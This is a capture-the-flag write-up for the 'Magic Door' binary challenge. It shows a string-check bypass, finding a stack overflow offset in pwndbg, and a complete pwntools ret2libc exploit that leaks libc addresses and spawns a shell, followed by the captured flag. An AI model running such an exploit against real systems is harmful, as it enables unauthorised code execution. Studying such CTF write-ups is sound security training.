Magic Door

file type check

$file magic_door 
magic_door: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b2c5b2c9198914b2cf836a01366419a6a56adee1, for GNU/Linux 3.2.0, not stripped

file protection check

checksec --file magic_door 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • No stack canary -> can buffer overflow
  • No PIE -> address leaking much easier

try to run

$ ./magic_door 
Welcome to the Magic Door !
Which door would you like to open? 11111
Oops. No magic door for you.

time to disassemble it in ghidra

1st challenge

We need to bypass input validation != "50015" but need string with integer value of 50015

  • Solution: +50015 or "050015"

2nd Challenge

  • magic_door function accepts insane amount of chars, time to try overflow it
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> 
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> Quit
pwndbg> run
Starting program: /home/gnapac/Desktop/CTF/wgmy23/challenge/magic_door 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the Magic Door !
Which door would you like to open? +50015
Congratulations! You opened the magic door!
Where would you like to go? 
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401388 in magic_door ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────
*RAX  0x7fffffffe310 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
*RBX  0x7fffffffe4a8 —▸ 0x7fffffffe6f1 ◂— '/home/gnapac/Desktop/CTF/wgmy23/challenge/magic_door'
*RCX  0x7fffffffe310 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
*RDX  0x65
*RDI  0x7ffff7f9da40 (_IO_stdfile_0_lock) ◂— 0x0
*RSI  0x7ffff7f9bb23 (_IO_2_1_stdin_+131) ◂— 0xf9da40000000000a /* '\n' */
*R8   0x1
 R9   0x0
*R10  0x7ffff7dd10b8 ◂— 0x100022000048a8
*R11  0x246
 R12  0x0
*R13  0x7fffffffe4b8 —▸ 0x7fffffffe726 ◂— 'SHELL=/bin/bash'
*R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401240 (__do_global_dtors_aux) ◂— endbr64 
*R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 ◂— 0x0
*RBP  0x6161616161616169 ('iaaaaaaa')
*RSP  0x7fffffffe358 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa\n'
*RIP  0x401388 (magic_door+135) ◂— ret 
─────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────
 ► 0x401388 <magic_door+135>    ret    <0x616161616161616a>










──────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe358 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa\n'
01:0008│     0x7fffffffe360 ◂— 'kaaaaaaalaaaaaaamaaa\n'
02:0010│     0x7fffffffe368 ◂— 'laaaaaaamaaa\n'
03:0018│     0x7fffffffe370 ◂— 0xa6161616d /* 'maaa\n' */
04:0020│     0x7fffffffe378 —▸ 0x401470 (main+29) ◂— mov eax, 0
05:0028│     0x7fffffffe380 —▸ 0x7fffffffe4a8 —▸ 0x7fffffffe6f1 ◂— '/home/gnapac/Desktop/CTF/wgmy23/challenge/magic_door'
06:0030│     0x7fffffffe388 ◂— 0x100000000
07:0038│     0x7fffffffe390 ◂— 0x1
────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────
 ► 0         0x401388 magic_door+135
   1 0x616161616161616a
   2 0x616161616161616b
   3 0x616161616161616c
   4      0xa6161616d
   5         0x401470 main+29
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
  • we populate RSP with jaaaaaaakaaaaaaalaaaaaaamaaa
jaaaaaaakaaaaaaalaaaaaaamaaa
Found at offset 72
  • offset = 72
  • it needs 72 Characters for us to ovewrite the return address
  • next we can execute ret2libc attack
from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './magic_door'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
libc = elf.libc
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# useful gadgets
ret = p64(0x000000000040101a)
pop_rdi = p64(0x0000000000401434)

# main = p64(0x0000000000401453)

# got of libc functions
plt_puts = p64(elf.plt.puts)
got_puts = p64(elf.got.puts)
got_printf = p64(elf.got.printf)

# magic door input

payload = b"+50015"

# crafting payload for leaking libs functions

padding = 72
secondPayload = b'A'*padding
secondPayload += pop_rdi + got_puts + plt_puts
secondPayload += pop_rdi + got_printf + plt_puts
# go back to the function for final execution
secondPayload += p64(elf.symbols.magic_door) 

#sending payload
print("elf.symbols.magic_door : ",elf.symbols.magic_door)
io.recvuntil(b'open?')
io.sendline(payload)
io.recvuntil(b'Where would you like to go?')
io.sendline(secondPayload)
io.recv()

# recv leaked address
output = io.recv().split(b'\n')
print("output : ", output)
leak_puts = u64(output[0].ljust(8,b"\x00"))
leak_printf = u64(output[1].ljust(8,b"\x00"))
print("puts {}".format(str(hex(leak_puts))))
print("printf {}".format(str(hex(leak_printf))))

# final payload
thirdPayload = b'A'*padding
thirdPayload += pop_rdi + p64(leak_printf + 0x177fa8)
thirdPayload += p64(leak_printf - 0xf980)

io.sendline(thirdPayload)
io.interactive()

'''
binsh:  0x19604f

    system  0x050d70    -0xf980
    puts    0x080e50    0x20760

wgmy{4a029bf40a28039c8492acfa866f8d96}

'''

wgmy{4a029bf40a28039c8492acfa866f8d96}